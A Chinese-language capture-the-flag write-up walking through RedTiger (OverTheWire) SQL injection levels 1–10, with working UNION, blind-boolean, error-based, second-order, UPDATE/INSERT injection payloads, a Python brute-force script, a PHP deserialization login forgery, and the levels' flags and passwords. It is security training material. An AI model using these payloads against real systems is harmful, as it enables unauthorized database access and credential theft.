做题链接:http://redtiger.labs.overthewire.org/
关于知识点整理
https://blog.csdn.net/weixin_43476037/article/details/87464475
wp
level 1
- 表名已知:level1_users,点开Category发现注入点cat
- 构造?cat=1 union select 1,2,username,password from level1_users得到用户名和密码
- 输入得到flag和下一关
- 27cbddc803ecde822d87a7e8639f9315
level 2
- 这个感觉是比1还要简单,就让你登录,直接尝试username=admin&password=1’or’1’='1就直接登进去了
level 3
- 给出了表名和提示:get an error
- 点开Admin的细节,发现url中user是一串密码,说明传入的参数会经过加密
- 再思考关于提示的报错,利用数组尝试
- 打开提示的urlcrypt.inc文件,发现加密解密函数
- 字段是猜的,看大佬的wp好像只能是猜,因为是对information_schema表做了限制,无法通过常规方式获取列名
1' union select 1,2,3,4,5,6,7#
加密后为: MDkwMTQ0MDY3MTcwMTQwMjI0MTQ0MDg2MTMwMTE0MTg0MTQ0MDc2MTcyMDExMDY5MjM4MDc3MTc1MDcwMDYyMTk5MjM1MjE5MDgxMjQ2MTUyMjA4MTc4MTEx- 得到显示位2 6 7 5 4
’ union select 1,password,2,3,4,5,6 from level3_users where username=’Admin
加密得到
usr=MDc2MTUxMDIyMTc3MTM5MjMwMTQ1MDI0MjA5MTAwMTc3MTUzMDc0MTg3MDk1MDg0MjQzMDE3MjUyMDI1MTI2MTU2MTc2MTMzMDAwMjQ2MTU2MjA4MTgyMDk2MTI5MjIwMDQ5MDUyMjMwMTk4MTk2MTg5MTEzMDQxMjQwMTQ0MDM2MTQwMTY5MTcyMDgzMjQ0MDg3MTQxMTE1MDY2MTUzMjE0MDk1MDM4MTgxMTY1MDQ3MTE4MDg2MTQwMDM0MDg1MTE4MTE4MDk5MjIyMjE4MDEwMTkwMjIwMDcxMDQwMjIw- 得到密码,输入得到flag
####level 4
- 进入,让你得到表里的keyword,里面有个click me,click以后发现url多了个id=1,明显是个注入点
- 又发现只有id=0和1才有回显,和id=其他数字都不变,所以应该有2列
- 看大佬的wp才知道,主界面给的提示说了是盲注,所以先判断字段长度:
- id=1 and (select length(keyword) from hackit.level4_secret limit 0,1)=21 #测出来长度为21
- 接下来要一位位的爆字段,因为有21位,所以最好是写脚本,而且这个还要带着cookies,代码参考网上的:
import requests as rq
url = "http://redtiger.labs.overthewire.org/level4.php"
cookies = {
"level2login": "4_is_not_random",
"level3login": "feed_your_cat_before_your_cat_feeds_you",
"level4login": "there_is_no_bug"
}
payload = {'id': '1'}
url = rq.get(url, cookies=cookies, params=payload)
i = 1
keyword = []
print(url.url)
while i <= 21:
for j in range(33, 127):
poc = url.url+' and ascii(substr((select keyword from level4_secret),'+str(i)+',1))='+str(j)+'--+'
target = rq.get(poc, cookies=cookies)
if "Query returned 1 rows." in target.text:
print(str(i)+":"+chr(j))
keyword.append(chr(j))
break
i += 1
print(keyword)
- 得到killstickswithbr1cks!
level 5
- 提示了过滤了substring, substr,(,),mid,密码用md5加密
- 他让你看一下登录错误,所以就显示了一下admin,发现被过滤了
- username 处填写正常语句时总是回显用户不存在,所以应该就是在 username 中进行绕过,根据提示 ‘the password is md5-crypted’ 猜测查询语句是根据用户名查询出数据库里的密码,然后将输入的 password 值进行 md5加密,然后进行对比
- 通过’union select 1,2#测出共两列
- 利用union select 一组虚构的 username 和 passwprd 绕过登陆验证,所以令username:’ union select ‘1’, md5(‘1’)#&password=1得到flag
level 6
- 同样要用户名和密码,click以后能看到注入点:user=1
- 尝试user=1’报错
- 先尝试爆字段长度,order by 5没问题,order by 6报错,说明字段数为5
- 剩下的emmmmm,看大佬的wp,这个题是二次查询+16进制编码
- 这里进行十六进制编码是因为,如果直接放到第一个查询语句中,会被认为是一个列名,如果带上双引号,如果第二个查询也是用双引号包裹的就会报错~所以转换为数字,然后前面加上0x是最佳选择。
- 最终构造user=0 union select 1,0x61646d696e312720756e696f6e2073656c65637420312c757365726e616d652c332c70617373776f72642c352066726f6d206c6576656c365f757365727320776865726520757365726e616d653d2761646d696e2723,3,4,5 from level6_users#
level 7
- 先尝试搜索了一下1,1’,发现1’有详细报错,而且给了注入格式
- 正好刚学了updatexml报错,所以尝试构造报错:
') UNION SELECT UPDATEXML(1,CONCAT(0x7e,(SELECT autor FROM level7_news LIMIT 1 OFFSET 2)),0) OR ('
- 得到username,输入得到flag
level 8
- 菜逼点进去一点思路没有,看别人wp才知道是靠’找到email有注入点(这么基础嘤嘤嘤)
- 但关于update的知识,不怎么了解,在mysql中的update的一个用法:如果在update中的语句,我们的写法如下:
update users where username=email,password='123456' where username='admin'
; - 那么上面的这sql语句的执行效果就是将username为’admin’的记录修改为username为此记录的email,密码修改为123456。
- 如果update语句中有fieldname1=fieldname2这样的语句就会将当前记录的fieldname2的值赋值到fieldname1上面。
email=hans%40localhost',name=password,icq='&name=Hans&icq=12345&age=25&edit=Edit
- email上面显示出密码,登陆得到flag
level 9
- insert 注入知识补充:关于insert,uodate,delete注入
- 通过尝试发现在提交框里面存在注入点,输入1’会报错
- 猜测后台的sql语句写法
:insert into tablename(autor,title,text) values('[inputautor]','[inputtitle]','[inputtext]')。
构造payload:1'), ((select username from level9_users limit 1), (select password from level9_users limit 1),'1
得到用户名和密码
- 输入得到flag
level 10
- 进入后只让你以TheMaster身份登录,发现url也没什么注入点,一脸懵逼
- 看了别人的提示,发现F12后有个hidden的input,里面有一串密码
- base64解密后得到
a:2:{s:8:"username";s:6:"Monkey";s:8:"password";s:12:"0815password";
}是PHP反序列化数据 - 关于PHP反序列化总结
- 再解密,PHP代码:
<?php
$a=unserialize('a:2:{s:8:"username";s:6:"Monkey";s:8:"password";s:12:"0815password";}');
var_dump($a);
?>
- 执行得到
array(2) {
["username"]=>
string(6) "Monkey"
["password"]=>
string(12) "0815password"
}
- 先尝试只把用户名改成TheMaster,发现不对
- 还需要把password改成true,构造:
a:2:{s:8:"username";s:9:"TheMaster";s:8:"password";b:1;}
,base64编码得到:YSUzQTIlM0ElN0JzJTNBOCUzQSUyMnVzZXJuYW1lJTIyJTNCcyUzQTklM0ElMjJUaGVNYXN0ZXIlMjIlM0JzJTNBOCUzQSUyMnBhc3N3b3JkJTIyJTNCYiUzQTElM0IlN0Q=
- login得到flag